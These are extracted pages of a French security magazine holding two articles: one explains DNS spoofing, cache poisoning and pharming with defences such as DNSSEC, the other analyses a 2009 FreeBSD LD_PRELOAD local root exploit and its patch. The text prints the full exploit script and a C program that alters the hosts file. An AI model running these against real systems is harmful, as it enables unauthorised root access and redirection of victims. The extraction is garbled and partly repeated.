Les premiegraveres branches sont les domaines de haut niveau agrave savoir com net org

De chacun des noeuds se deacutegagent de nouvelles branches qui correspondent agrave de nouveaux eacuteleacutements

Si nous prenons le cas de Hakin9org une branche sortira de org et aura pour nom Hakin9 car le do-maine de haut niveau org a autoriteacute sur hakin9org

Regardons une image pour mieux comprendre(cf Figure 2)

Prenons le cas de hakin9 ladresse IP 79125436 est assigneacutee au nom de domaine hakin9org

Ce meacutecanisme peut ecirctre reacutealiseacute dans les deux sens

bull reacutecupeacuterer ladresse IP auquel a eacuteteacute assigneacute un nom de domaine

bull Reacutecupeacuterer le nom de domaine agrave partir dune adres-se IP speacutecifique (Reverse DNS)

De nombreux enregistrements sont obtenus agrave partir dune requecircte DNS que nous allons preacutesenter dans cet article

bull A record lenregistrement primaire qui fait corres-pondre un nom de domaine agrave une adresse IP ex hakin9org gtgt 79125436

bull MX record celui-ci deacutefinit les diffeacuterents serveurs de mails pour un domaine en particulier

bull PTR record Il associe une adresse IP agrave un nom de domaine speacutecifique Cest ce dernier qui avait

Les attaques DNS

Bref reacutesumeacute cet article permettra de sinteacuteresser aux diffeacuterentes attaques exploitables sur le protocole DNS dont deux principales techniques fondeacutees sur le DNS Spoofing agrave savoir le DNS ID Spoofing et le DNS Cache Poisoning Nous nous inteacuteresserons ensuite au DNS Pharming qui est un deacuteriveacute du Phishing

Cet article explique bull le principe des attaques possibles sur le protocole DNS Dans

un second temps nous nous inteacuteresserons aux moyens mis en place pour eacuteviter les risques et preacutevenir les utilisateurs

Ce quil faut savoir bull certaines notions sur le protocole DNS et le reacuteseau en regravegle

geacuteneacuterale mais aussi sur le Web en geacuteneacuteral et en C

Paul Amar

Les attaques DNS

hakin9orgfr 41

Le DNS ID SpoofingPrenons le cas de figure suivant

Une machine A souhaite communiquer avec une ma-chine B La machine A a besoin de ladresse IP de B pour commencer la communication Or si elle ne la connaicirct pas elle utilisera le protocole DNS pour lobtenir

La machine A eacutemettra vers un serveur DNS une re-quecircte demandant ladresse IP de la machine B

Pour identifier cette requecircte parmi toutes celles que le serveur DNS reccediloit un numeacutero didentification (champ fourni dans len-tecircte que nous avons vu plus haut) lui est assigneacute

Le serveur DNS apregraves avoir reacutealiseacute le travail de-mandeacute renvoie la reacuteponse avec le mecircme numeacutero didentification

Le problegraveme est quun pirate pourrait usurper le travail du serveur DNS en faisant rediriger la victime vers une adresse IP preacutealablement choisie

De nombreuses meacutethodes permettent agrave reacutecupeacuterer ce fameux numeacutero didentification comme

bull eacutecoute du reacuteseaubull utilisation dune faille dans un des systegravemes dex-

ploitationbull utilisation dune faille dun serveur DNS

La seule condition est que le pirate renvoie la reacuteponse avant le serveur

Agrave cette fin il dispose de nombreuses pratiques comme faire un DoS sur le serveur DNS cible pour eacuteviter quil reacuteponde Cela lui laisse ainsi tout le temps

eacuteteacute peacutesenteacute plus haut avec le Reverse DNS dont le meacutecanisme peut ecirctre reacutealiseacute dans les deux sens

bull Etc

Le port utiliseacute pour lenvoi de donneacutees en UDPTCP est le 53

Les principaux services utiliseacutes sont ceux qui eacutechan-gement des informations avec les enregistrements de ressources ou autrement dits les Ressource records (RR)

De nombreuses informations sont contenues dans len-tecircte correspondant aux RR (Ressource Records) comme

bull un numeacutero didentification est neacutecessaire pour dis-tinguer toutes les requecirctes DNS que le serveur re-ccediloit Cet identifiant est ensuite reacute-utiliseacute pour le ren-voi de la reacuteponse

Maintenant que nous avons vu certaines speacuteficiciteacutes du protocole DNS nous allons nous inteacuteresser aux dif-feacuterentes attaques possibles sur ce protocole

Le DNS SpoofingDeux principaux types dattaque reacutealisables relegravevent tous les deux du terme DNS Spoofing

Nous allons voir deux types dattaques le DNS ID Spoofing et le DNS Cache Poisoning

Parallegravelement nous allons traiter du pheacutenomegravene DNS Pharming qui relegraveve dune attaque DNS Cache Poisonning

Figure 1 Meacutecanismes DNS

Requecircte DNS pour le serveur website com

Jean Renvoie des informations concernant websitecom avec son IP ex 1222101

Jean se connecte agrave websitecom agrave partir de son adresse IP

Meacutecanisme reacutealiseacute par le service de DNS pour les diffeacuterentes informations

Websitecom

Serveur DNS

6201042

AttAque

de forger un paquet speacutecifique et ainsi lenvoyer agrave la victime

Lors de la reacuteception la victime pensera que le serveur DNS leacutegitime lui a renvoyeacute la reacuteponse et sera redirigeacutee vers un site frauduleux

Cette utilisation peut avoir des effets deacutevastateurs comme renvoyer vers un site qui propage un virus ren-voie sur une page de phishing hellip

Le DNS Cache PoisoningDe base un serveur DNS na des informations que pour les machines du domaine sur lequel il a autoriteacute Autre-ment dit il na pas stockeacute les informations relatives agrave dautres domaines

Si une machine A souhaite communiquer avec une machine B dun autre domaine le serveur DNS qui a autoriteacute sur la machine A contacte le serveur DNS qui a autoriteacute sur la machine B etc

Pour eacuteviter de saturer le reacuteseau il est preacutefeacuterable de garder en meacutemoire ces informations

Degraves lors si une autre machine demande agrave contacter la machine B elle pourra reacute-utiliser les informations contenues dans le cache du serveur DNS

Lattaque de DNS Cache Poisoning consiste agrave faire en sorte de corrompre ce fameux cache en inseacuterant des donneacutees voulues par le pirate

Pour que cela fonctionne il faut que le pirate ait le controcircle dun nom de domaine prenons fakecom ainsi

que le serveur DNS correspondant ayant autoriteacute sur celui-ci nsfakecom

Le pirate envoie ainsi une requecircte vers le serveur DNS cible (celui utiliseacute par la victime)

Il fait en sorte de demander la reacutesolution du nom dune machine affilieacutee au domaine fakecom

Le serveur DNS cible envoie les informations au serveur DNS du pirate (nsfakecom) qui quant agrave lui envoie les informations correspondant agrave sa demande ainsi que dautres informations compleacutementaires Ces derniegraveres auront juste pour effet de corrompre le cache du serveur DNS cible

Nous pourrions imaginer un sceacutenario ougrave le pirate cherche agrave rediriger des utilisateurs dune banque vers un site falsifieacute pour reacutecupeacuterer leurs informations person-nelles

Le laquo Pharming raquoLe pharming est une technique utiliseacutee par les pirates informatiques exploitant des vulneacuterabiliteacutes DNS

Le but est le mecircme que les attaques preacuteceacutedentes deacutetourner sa victime sur un site frauduleux en le faisant passer pour le veacuteritable

Deux types de laquo pharming raquo peuvent ecirctre mis en place

bull Le pharming local consiste agrave modifier le fichier hosts de la machine Ce fichier permet de rajouter des en-

Figure 2 hieacuterarchie du protocole DNS

Root Servers

orgcomfr

Hakin9

Les attaques DNS

hakin9orgfr 43

treacutees nom de domaine et adresse IP et il est lun des acteurs majeurs dans la navigation internet

bull Rajouter la ligne laquo 20985229104 hakin9org raquo redirigera tous les utilisateurs vers Google sils sou-haitent aller sur le site hakin9org

bull Le fait de modifier en local le fichier hosts nagit que sur les personnes utilisant le poste affecteacute Ce type de pharming ne peut pas se reacutepercuter sur dautres ordinateurs (cf Listing 1)

Lautre type possible est de compromettre le serveur DNS dont deacutepend la victime

bull Le nom est diffeacuterent mais correspond au DNS Cache Poisoning Lattaque consiste agrave alteacuterer son contenu en inseacuterant de fausses informations Degraves lors si un utilisateur recherche un certain nom de domaine compromis il se retrouvera sur un site fal-sifieacute

Figure 3 DNS ID Spoofing

La victime envoie une requecircte DNSpour savoir quelle est lIP de

mabanquecom

Le pirate eacutecoute le traffic et envoie avant le

serveur une reacuteponse DNSavec le mecircme iD

Victime

Le serveur reacutepons maismalheureusement trop tard

Figure 4 Cache Poising

Victime

La victime envoie une requecircte DNSpour savoir quelle est lIP de

mabanquecom Le pirate envoie de nombreuses donneacutees pour empoisonnser le cache DNSdu serveur cible infectant

ainsi toutes les requecirctes despcs qui utiliseront ce serveur

DNS

Pirate

Serveur CacheDNS

Le serveur DNS reacutepond via le cache emposonneacute par le pirate

6201044

AttAque

Le laquo Drive-by-pharming raquo technique en vogue de-puis de nombreuses anneacutees Cette derniegravere consiste agrave amener un internaute agrave exeacutecuter un script (souvent JavaScript) malveillant qui va modifier la configuration de son routeur personnel Il faut savoir que la plupart du temps le routeur personnel nest accessible quen LAN (agrave savoir seulement les personnes faisant par-tie du reacuteseau local accegravedent agrave linterface du routeur) et non en WAN (accessible agrave partir de la toile-mecircme cela signifie quun attaquant peut prendre le controcircle dun routeur situeacute aux Etats-Unis depuis la Russie) Le pirate utilisera linternaute comme intermeacutediaire dans son attaque pour faire en sorte quil modifie lui-mecircme les paramegravetres de sa box Ce type dattaque se reacutealise gracircce agrave des vulneacuterabiliteacutes de type CSRF (Cross Site Request Forgeries) qui ne sont autres que des formu-laires preacute-remplis exeacutecuteacutes lors du chargement de la page malicieuse Dapregraves une eacutetude de Symantec sur ce domaine 95 des utilisateurs agrave la laquo maison raquo auto-risent lexeacutecution du JavaScript dans leurs fureteurs in-ternet

Degraves lors il est possible de maniegravere transparente de changer certains paramegravetres afin de rediriger ses victimes vers des sites frauduleux

Solutions contre ces abusPour eacuteviter les problegravemes de DNS Spoofing plusieurs deacutemarches peuvent ecirctre reacutealiseacutees comme

bull Mettre agrave jour les serveurs DNS (cela permet par exemple deacuteviter des failles permettant le controcircle de ces serveurs DNS et ainsi preacutedire les numeacuteros de seacutequence correspondants)

bull Limiter le cache du serveur DNS et faire en sorte quil nenregistre pas dans sa base de donneacutees les enregistrements additionnels

bull Utiliser de la cryptographie comme SSL cela rend la vie plus difficile au pirate

bull Dans linfrastructure dune entreprise une alterna-tive serait lutilisation de deux serveurs DNS dis-tincts Lun serait accessible depuis la toile et reacute-pondrait aux demandes quil recevrait Dun autre cocircteacute un serveur DNS Interne offrirait ses servi-ces aux ordinateurs internes Les transactions quaurait ce dernier serveur DNS seraient par exemple avec les serveurs laquo racines raquo (root ser-vers) qui repreacutesentent la base de linternet Degraves lors nous pourrions plus ou moins les consideacuterer de laquo confiance raquo

Il existe en tout 13 serveurs racine du DNS situeacutes un peu partout dans le monde

Depuis peu ces 13 serveurs sont tous passeacutes agrave DNS-SEC (Domain Name System Security Extensions)

Ce protocole standardiseacute permet avant tout

bull la seacutecurisation des transactions DNS

Figure 5 changement de certains paramegravetres pour rediriger la victime vers des sites frauduleux

Victime

Site malicieurxcom

La victime va pour acceacuteder agrave un site

malicieux

Le site malicieux renvoie du code qui va faire des changements

sur sa box

Routeur de la victime accessible quagrave partir du LAN

Les attaques DNS

hakin9orgfr 45

bull la seacutecurisation des informations contenues dans les messages DNS

bull Stockage et distribution des cleacutes neacutecessaires au bon fonctionnement

Avant tout DNSSEC sappuie sur des signatures cryp-tographiques qui permettent de laquo signer raquo les inscrip-tions DNS actuelles

Cela permet de deacutetecter deacuteventuelles fraudes et ainsi eacuteviter agrave une victime decirctre pieacutegeacutee Cela ressemble agrave un gage de qualiteacute permettant de garantir que toutes les in-formations reccedilues sont effectivement celles demaneacutees

Le meacutecanisme utiliseacute est une geacuteneacuteration dune paire de codes

bull une cleacute priveacutee la cleacute priveacutee ne doit en aucun cas ecirctre divulgueacutee et ecirctre gardeacutee en seacutecuriteacute pour eacutevi-ter de casser la laquo chaine de confiance raquo mise en place Cette derniegravere reste chez le proprieacutetaire

bull une cleacute publique la cleacute publique est disponible pour tout le monde et est preacutesente dans chaque laquo DNSKEY record raquo Un laquo DNSKEY record raquo per-met de veacuterifier quil ne sagit pas dun site contrefait en veacuterifiant les signatures DNSSEC

bull Les donneacutees contenues dans chaque enregistre-ment laquo DNSKEY raquo sont les suivantes

bull Drapeaux (laquo Flags raquo) laquo Zone key raquo pour toutes les cleacutes DNSSEC et laquo Secure Entry Point raquo pour les cleacutes signant dautres cleacutes ou des cleacutes dites laquo simples raquo

bull Protocole la valeur est fixeacutee agrave 3 pour assurer la compatibiliteacute avec les versions preacuteceacutedentes

bull Algorithme lalgorithme utiliseacute par la cleacute publique bull Cleacute publique la cleacute publique en tant que telle

ConclusionGracircce aux diffeacuterentes avanceacutees technologiques dans ce domaine les risques sont plus ou moins diminueacutes Heureusement car ce protocole est lun des plus impor-tants agrave ce jour

Parallegravelement une infrastructure toucheacutee par une attaque au niveau du DNS est terriblement compromise car elle peut avoir de terribles reacutepercutions sur ses usa-gers

Une socieacuteteacute peut ecirctre entiegraverement laquo mise sur le car-reau raquo car sans les services offerts par le protocole DNS son activiteacute risque de cesser

Si cet article vous a inteacuteresseacute nheacutesitez pas agrave lire dautres articles comme par exemple la preacutesentation de Dan Kaminsky sur une faille concernant le laquo snoo-ping raquo du cache DNS de 2008

Listing 1 Code C pour Pharming local

ltcode C pour du Pharming en localgt

include ltstdlibhgt

include ltstdiohgt

int main(void)

FILE pharming = NULL

pharming = fopen(SYSTEMROOTsystem32drivers

etchosts a)

if (pharming = NULL)

fputs(20985229104 hakin9org

pharming)

fclose(pharming)

else

printf(Erreur au niveau de louverture

du fi chier Hosts)

return EXIT_SUCCESS

ltcodegt

Annexes

bull httpfrwikipediaorgwikiDomain_Name_System Article de Wikipeacutedia sur le protocole DNS

bull httpfrwikipediaorgwikiDomain_Name_System_Security_Extensions Article de Wikipeacutedia sur DNSSEC

bull httpwwwauthsecucombrute-force-dnsbrute-force-dnsphp Article qui traite de la brute-force des noms de do-maines

bull httpunixwiznettechtipsiguide-kaminsky-dns-vulnhtml Un guide illustreacute sur la faille DNS de Dan Kaminsky durant leacuteteacute 2008

bull httpwwwsecuriteinfocomattaqueshackingdnsspoofi ngshtml Article inteacuteressant sur le DNS Spoofi ng (incluant les deux attaques preacutesenteacutees dans larticle)

bull httpfrwikipediaorgwikiPharming Article de Wikipeacutedia sur le Pharming

A PROPOS De LAuteuR Lauteur est actuellement eacutetudiant en DUT Informatique lIUT de Fontainebleau Il sinteacuteresse de tregraves pregraves agrave tout ce qui a trait agrave la seacutecuriteacute in-formatique a n de comprendre les problegravemes associeacutes Il aimerait par la suite continuer ses eacutetudes dans une eacutecole dingeacutenieur

6201046

Focus

Le full disclosure (ou le fait de divulguer publique-ment les problegravemes de seacutecuriteacute ou les exploits) est quelque chose de primordial chez les pas-

sionneacutes de seacutecuriteacute informatique Il permet (entre autre) a chacun de pouvoir eacutetudier

les problegravemes deacutecouvert par dautre personne de com-prendre leurs fonctionnement et de seacutecuriser ses pro-pres codes

Lexemple de lexploit eacutetudieacute dans cet article est tregraves formateur sans demander une tregraves forte connaissance du systegraveme ou du C

Fonctionnement de LD_PRELoAD Il existe une variable denvironnement sous UNIX qui sappelle LD_PRELOAD Cette variable permet dinter-caler une librairie pour quelle soit prioritaire agrave celles de lOS Pour exemple nous allons utiliser le listing 1 qui permet simplement dafficher le PID du processus cou-rant

Voici le reacutesultat apregraves compilation

$ gcc listing1c -o listing1

$ listing1

pid 1423

A preacutesent nous allons creacuteer notre propre librairie getpid() qui retournera systeacutematiquement 31337 Le code est disponible au listing2 La compilation est un peu particulier afin de creacuteer une librairie parta-geacutee

$ gcc -fPIC -shared -o listing2so listing2c

A preacutesent nous avons un binaire qui utilise getpid() et une librairie partageacutee getpid() eacutegalement Voici com-ment fonctionne LD_PRELOAD pour utiliser en priori-teacute notre librairie et non pas celle de lOS

$ export LD_PRELOAD=listing2so

$ listing1

pid 31447

Nous voyons que listing1 utilise agrave preacutesent notre pro-pre librairie Cette astuce est tregraves utile pour debugger Il existe une fonction particuliegravere _ init() qui est lanceacute degraves lexeacutecution du main Et qui permet de ne pas cibler une fonction speacutecifique

Il y a toutefois une limitation a cette fonctionnaliteacute il nest pas possible dutiliser LD_PRELOAD sur un bi-naire suid La premiegravere chose que fait FreeBSD lors de lexeacutecution dun binaire suid est de vider cette variable Il fait ccedila par seacutecuriteacute pour eacuteviter dexeacutecuter du code ar-bitraire en temps que root via notre librairie Cest a ce niveau que va agir notre exploit

Analyse de lexploitPour commencer nous pouvons contempler lexploit au listing 3

Nous pouvons voir que cest en faite un script qui com-pile un binaire env et une librairie w00tso10 Nous pou-vons voir assez facilement que LD_PRELOAD est mis

Exploit ndash Local root FreeBsD via LD_PRELoAD

FreeBSD est souvent preacutesenteacute comme un OS agrave la seacutecuriteacute robuste Malgreacute cette reacuteputation un exploit a eacuteteacute divulgueacute fin novembre sur la mailing list Full Disclosure par Kingcope Dans cet article nous eacutetudierons cet exploit et le patch proposeacute par lrsquoeacutequipe de mainteneur FreeBSD apregraves avoir compris LD_PRELOAD

cet article expliquebull Comment fonctionne un exploit utilisant un bug LD_PRELOAD

sous FreeBSD

ce quil faut savoirbull Langage C des notions de systegraveme UNIX sont preacutefeacuterable

Paul Rascagnegraveres

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 47

comment FreeBsD vide la variable LD_PRELoAD Le listing 4 montre le morceau de code qui lance la pur-ge de certaines variables en cas de bit suid

en place juste avant de lancer la commande ping qui dispose dun bit suid Normalement la variable devrait donc ecirctre videacute par lOS Voyons comment FreeBSD vi-de cette variable

Listing 1 Source permettant dafficher le PID du processus en cours

include ltstdiohgt

int main()

printf(pid ungetpid())

return(0)

Listing 2 Librairie getpid() retournant systematiquement 31337

include ltstdiohgt

include ltsystypeshgt

pid_t getpid(void)

return(31337)

Listing 3 Exploit posteacute par Kingcope

binsh

echo FreeBSD local r00t zeroday

echo by Kingcope

echo November 2009

cat gt envc ltlt _EOF

include ltstdiohgt

main()

extern char environ

environ = (char)malloc(8096)

environ[0] = (char)malloc(1024)

environ[1] = (char)malloc(1024)

strcpy(environ[1] LD_PRELOAD=tmpw00t

so10)

execl(sbinping ping 0)

_EOF

gcc envc -o env

cat gt programc ltlt _EOF

include ltunistdhgt

include ltstdiohgt

include ltsystypeshgt

include ltstdlibhgt

void _init()

extern char environ

environ=NULL

system(echo ALEX-ALEXbinsh)

_EOF

gcc -o programo -c programc -fPIC

gcc -shared -Wl-sonamew00tso1 -o w00tso10

programo -nostartfiles

cp w00tso10 tmpw00tso10

env

Listing 4 fonction ou sont purgeacute certaines variables en cas de bit suid

func_ptr_type

_rtld(Elf_Addr sp func_ptr_type exit_proc Obj_

Entry objp)

trust = issetugid()

If the process is tainted then we un-set the

dangerous environment

variables The process will be marked as

tainted until setuid(2)

is called If any child process calls

setuid(2) we do not want any

future processes to honor the potentially un-

safe variables

if (trust)

unsetenv(LD_ PRELOAD)

unsetenv(LD_ LIBMAP)

unsetenv(LD_ LIBRARY_PATH)

unsetenv(LD_ LIBMAP_DISABLE)

unsetenv(LD_ DEBUG)

unsetenv(LD_ ELF_HINTS_PATH)

Return the exit procedure and the program entry

point

exit_proc = rtld_exit

objp = obj_main

return (func_ptr_type) obj_main-gtentry

6201048

Focus

Nous pouvons voir la fonction unsetenv() qui comme il est facile de le deviner permet dunset une variable denvironnement passeacutee en argument Cette fonction est retranscrite au listing 5

Cette fonction meacuterite une attention toute particuliegrave-re et une petite explication En premier lieu elle veacuterifie que le nom de la variable nest pas mal formeacutee En-suite deux fonctions __merge_environ() et __build_env() permettent de creacuteer un tableau contenant lenvironne-ment Pour finir elle supprime la variable via la fonction __remove_putenv() Le listing 6 montre le code de la fonc-tion __merge_environ()

Nous voyons que si il manque un laquo = raquo dans lune des variables denvironnement la fonction sort en -1 ce qui a pour incidence de ne jamais lancer la fonc-tion __remove_putenv() car unsetenv() sort laquo brutale-ment raquo Cest ce qui se passe dans notre cas La pre-miegravere variable denvironnement setteacute par lexploit est vide Mais le principal problegraveme est quil ny a pas de controcircle du code de retour de la fonction unsetenv()

Et donc notre binaire sexeacutecute avec la variable LD_PRELOAD Nous pouvons donc exeacutecuter nimporte quelle librairie arbitraire en tant que root via un bi-naire suid

Patch fournie par FreeBsDLe patch est des plus simple il consiste simplement a controcircler le code de retour dunsetenv() et a sortir en erreur en stoppant lexeacutecution du binaire Le listing 7 montre le patch

conclusionNous avons pu voir avec quelle faciliteacute Kingcope agrave reacuteussi agrave exeacutecuter du code en root Il est primordial de toujours veacuterifier les codes de retour des fonctions afin de valider que tout cest correctement passeacute comme nous le souhaitions Il est aussi important de noter que cette vulneacuterabiliteacute existe sous FreeBSD depuis de nombreuses anneacutees et que peut ecirctre certaines personnes ont exploiteacutes cette faille tout ce temps

Listing 5 fonction unsetenv() du fichier srcliblibcstdlibgetenvc

Unset variable with the same name by flagging it as inactive No variable is

ever freed

int

unsetenv(const char name)

int envNdx

size_t nameLen

Check for malformed name

if (name == NULL || (nameLen = __strleneq(name)) == 0)

errno = EINVAL

return (-1)

Initialize environment

if (__merge_environ() == -1 || (envVars == NULL ampamp __build_env() == -1))

return (-1)

Deactivate specified variable

envNdx = envVarsTotal - 1

if (__findenv(name nameLen ampenvNdx true) = NULL)

envVars[envNdx]active = false

if (envVars[envNdx]putenv)

__remove_putenv(envNdx)

__rebuild_environ(envActive - 1)

return (0)

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 49

Sans le full disclosure cette faille naurait peut ecirctre jamais eacuteteacute corrigeacute Il est donc vital dencourager ce type de deacutemarche de la part de tous les passionneacutes de seacutecuriteacute

Listing 6 Fonction __merge_environ()

static int

__merge_environ(void)

char env

char equals

Insert new environ into existing yet deactivated

environment array

origEnviron = environ

if (origEnviron = NULL)

for (env = origEnviron env = NULL env++)

if ((equals = strchr(env =)) == NULL)

__env_warnx(CorruptEnvValueMsg env strlen(env))

errno = EFAULT

return (-1)

if (__setenv(env equals - env equals + 11) == -1)

return (-1)

return (0)

Listing 7 Patch fournie par FreeBSD

if (trust)

- unsetenv(LD_ PRELOAD)

- unsetenv(LD_ LIBMAP)

- unsetenv(LD_ LIBRARY_PATH)

- unsetenv(LD_ LIBMAP_DISABLE)

- unsetenv(LD_ DEBUG)

- unsetenv(LD_ ELF_HINTS_PATH)

+ if (unsetenv(LD_ PRELOAD) ||

unsetenv(LD_ LIBMAP) ||

+ unsetenv(LD_ LIBRARY_PATH) ||

unsetenv(LD_ LIBMAP_DISABLE)

||

+ unsetenv(LD_ DEBUG) ||

unsetenv(LD_ ELF_HINTS_PATH))

+ _rtld_error(environment corrupt

aborting)

+ die()

+

ld_debug = getenv(LD_ DEBUG)

sur Internet

bull httpseclistsorgfulldisclosure2009Nov371 ndash publica-tion de Kingcope

bull httpwwwfreebsdorg ndash site offi ciel de FreeBSDbull httpwwwr00tedcom ndash site de lauteur de cet article

Agrave PRoPos DE LAuTEuRPaul Rascagnegraveres est un consultant informatique speacutecialiseacute en UNIX (Solaris AIX Linux et BSD) et en Seacutecuriteacute depuis plus de 5 ans Il a travailleacute chez des fabricants automobile ainsi que dans des banques franccedilaises et luxembourgeoises Il est eacutega-lement chercheur en seacutecuriteacute a titre priveacute dans ce cadre il ani-me de nombreuses communauteacutes de passionneacute en seacutecuriteacutesur internetPour contacter lauteur httpswwwr00tedcom

Page 36: E-Comerce Lancez Votre Boutique Online Hakin9!06!2010 FR

Les attaques DNS

hakin9orgfr 41

Le DNS ID SpoofingPrenons le cas de figure suivant

Une machine A souhaite communiquer avec une ma-chine B La machine A a besoin de ladresse IP de B pour commencer la communication Or si elle ne la connaicirct pas elle utilisera le protocole DNS pour lobtenir

La machine A eacutemettra vers un serveur DNS une re-quecircte demandant ladresse IP de la machine B

Pour identifier cette requecircte parmi toutes celles que le serveur DNS reccediloit un numeacutero didentification (champ fourni dans len-tecircte que nous avons vu plus haut) lui est assigneacute

Le serveur DNS apregraves avoir reacutealiseacute le travail de-mandeacute renvoie la reacuteponse avec le mecircme numeacutero didentification

Le problegraveme est quun pirate pourrait usurper le travail du serveur DNS en faisant rediriger la victime vers une adresse IP preacutealablement choisie

De nombreuses meacutethodes permettent agrave reacutecupeacuterer ce fameux numeacutero didentification comme

bull eacutecoute du reacuteseaubull utilisation dune faille dans un des systegravemes dex-

ploitationbull utilisation dune faille dun serveur DNS

La seule condition est que le pirate renvoie la reacuteponse avant le serveur

Agrave cette fin il dispose de nombreuses pratiques comme faire un DoS sur le serveur DNS cible pour eacuteviter quil reacuteponde Cela lui laisse ainsi tout le temps

eacuteteacute peacutesenteacute plus haut avec le Reverse DNS dont le meacutecanisme peut ecirctre reacutealiseacute dans les deux sens

bull Etc

Le port utiliseacute pour lenvoi de donneacutees en UDPTCP est le 53

Les principaux services utiliseacutes sont ceux qui eacutechan-gement des informations avec les enregistrements de ressources ou autrement dits les Ressource records (RR)

De nombreuses informations sont contenues dans len-tecircte correspondant aux RR (Ressource Records) comme

bull un numeacutero didentification est neacutecessaire pour dis-tinguer toutes les requecirctes DNS que le serveur re-ccediloit Cet identifiant est ensuite reacute-utiliseacute pour le ren-voi de la reacuteponse

Maintenant que nous avons vu certaines speacuteficiciteacutes du protocole DNS nous allons nous inteacuteresser aux dif-feacuterentes attaques possibles sur ce protocole

Le DNS SpoofingDeux principaux types dattaque reacutealisables relegravevent tous les deux du terme DNS Spoofing

Nous allons voir deux types dattaques le DNS ID Spoofing et le DNS Cache Poisoning

Parallegravelement nous allons traiter du pheacutenomegravene DNS Pharming qui relegraveve dune attaque DNS Cache Poisonning

Figure 1 Meacutecanismes DNS

Requecircte DNS pour le serveur website com

Jean Renvoie des informations concernant websitecom avec son IP ex 1222101

Jean se connecte agrave websitecom agrave partir de son adresse IP

Meacutecanisme reacutealiseacute par le service de DNS pour les diffeacuterentes informations

Websitecom

Serveur DNS

6201042

AttAque

de forger un paquet speacutecifique et ainsi lenvoyer agrave la victime

Lors de la reacuteception la victime pensera que le serveur DNS leacutegitime lui a renvoyeacute la reacuteponse et sera redirigeacutee vers un site frauduleux

Cette utilisation peut avoir des effets deacutevastateurs comme renvoyer vers un site qui propage un virus ren-voie sur une page de phishing hellip

Le DNS Cache PoisoningDe base un serveur DNS na des informations que pour les machines du domaine sur lequel il a autoriteacute Autre-ment dit il na pas stockeacute les informations relatives agrave dautres domaines

Si une machine A souhaite communiquer avec une machine B dun autre domaine le serveur DNS qui a autoriteacute sur la machine A contacte le serveur DNS qui a autoriteacute sur la machine B etc

Pour eacuteviter de saturer le reacuteseau il est preacutefeacuterable de garder en meacutemoire ces informations

Degraves lors si une autre machine demande agrave contacter la machine B elle pourra reacute-utiliser les informations contenues dans le cache du serveur DNS

Lattaque de DNS Cache Poisoning consiste agrave faire en sorte de corrompre ce fameux cache en inseacuterant des donneacutees voulues par le pirate

Pour que cela fonctionne il faut que le pirate ait le controcircle dun nom de domaine prenons fakecom ainsi

que le serveur DNS correspondant ayant autoriteacute sur celui-ci nsfakecom

Le pirate envoie ainsi une requecircte vers le serveur DNS cible (celui utiliseacute par la victime)

Il fait en sorte de demander la reacutesolution du nom dune machine affilieacutee au domaine fakecom

Le serveur DNS cible envoie les informations au serveur DNS du pirate (nsfakecom) qui quant agrave lui envoie les informations correspondant agrave sa demande ainsi que dautres informations compleacutementaires Ces derniegraveres auront juste pour effet de corrompre le cache du serveur DNS cible

Nous pourrions imaginer un sceacutenario ougrave le pirate cherche agrave rediriger des utilisateurs dune banque vers un site falsifieacute pour reacutecupeacuterer leurs informations person-nelles

Le laquo Pharming raquoLe pharming est une technique utiliseacutee par les pirates informatiques exploitant des vulneacuterabiliteacutes DNS

Le but est le mecircme que les attaques preacuteceacutedentes deacutetourner sa victime sur un site frauduleux en le faisant passer pour le veacuteritable

Deux types de laquo pharming raquo peuvent ecirctre mis en place

bull Le pharming local consiste agrave modifier le fichier hosts de la machine Ce fichier permet de rajouter des en-

Figure 2 hieacuterarchie du protocole DNS

Root Servers

orgcomfr

Hakin9

Les attaques DNS

hakin9orgfr 43

treacutees nom de domaine et adresse IP et il est lun des acteurs majeurs dans la navigation internet

bull Rajouter la ligne laquo 20985229104 hakin9org raquo redirigera tous les utilisateurs vers Google sils sou-haitent aller sur le site hakin9org

bull Le fait de modifier en local le fichier hosts nagit que sur les personnes utilisant le poste affecteacute Ce type de pharming ne peut pas se reacutepercuter sur dautres ordinateurs (cf Listing 1)

Lautre type possible est de compromettre le serveur DNS dont deacutepend la victime

bull Le nom est diffeacuterent mais correspond au DNS Cache Poisoning Lattaque consiste agrave alteacuterer son contenu en inseacuterant de fausses informations Degraves lors si un utilisateur recherche un certain nom de domaine compromis il se retrouvera sur un site fal-sifieacute

Figure 3 DNS ID Spoofing

La victime envoie une requecircte DNSpour savoir quelle est lIP de

mabanquecom

Le pirate eacutecoute le traffic et envoie avant le

serveur une reacuteponse DNSavec le mecircme iD

Victime

Le serveur reacutepons maismalheureusement trop tard

Figure 4 Cache Poising

Victime

La victime envoie une requecircte DNSpour savoir quelle est lIP de

mabanquecom Le pirate envoie de nombreuses donneacutees pour empoisonnser le cache DNSdu serveur cible infectant

ainsi toutes les requecirctes despcs qui utiliseront ce serveur

DNS

Pirate

Serveur CacheDNS

Le serveur DNS reacutepond via le cache emposonneacute par le pirate

6201044

AttAque

Le laquo Drive-by-pharming raquo technique en vogue de-puis de nombreuses anneacutees Cette derniegravere consiste agrave amener un internaute agrave exeacutecuter un script (souvent JavaScript) malveillant qui va modifier la configuration de son routeur personnel Il faut savoir que la plupart du temps le routeur personnel nest accessible quen LAN (agrave savoir seulement les personnes faisant par-tie du reacuteseau local accegravedent agrave linterface du routeur) et non en WAN (accessible agrave partir de la toile-mecircme cela signifie quun attaquant peut prendre le controcircle dun routeur situeacute aux Etats-Unis depuis la Russie) Le pirate utilisera linternaute comme intermeacutediaire dans son attaque pour faire en sorte quil modifie lui-mecircme les paramegravetres de sa box Ce type dattaque se reacutealise gracircce agrave des vulneacuterabiliteacutes de type CSRF (Cross Site Request Forgeries) qui ne sont autres que des formu-laires preacute-remplis exeacutecuteacutes lors du chargement de la page malicieuse Dapregraves une eacutetude de Symantec sur ce domaine 95 des utilisateurs agrave la laquo maison raquo auto-risent lexeacutecution du JavaScript dans leurs fureteurs in-ternet

Degraves lors il est possible de maniegravere transparente de changer certains paramegravetres afin de rediriger ses victimes vers des sites frauduleux

Solutions contre ces abusPour eacuteviter les problegravemes de DNS Spoofing plusieurs deacutemarches peuvent ecirctre reacutealiseacutees comme

bull Mettre agrave jour les serveurs DNS (cela permet par exemple deacuteviter des failles permettant le controcircle de ces serveurs DNS et ainsi preacutedire les numeacuteros de seacutequence correspondants)

bull Limiter le cache du serveur DNS et faire en sorte quil nenregistre pas dans sa base de donneacutees les enregistrements additionnels

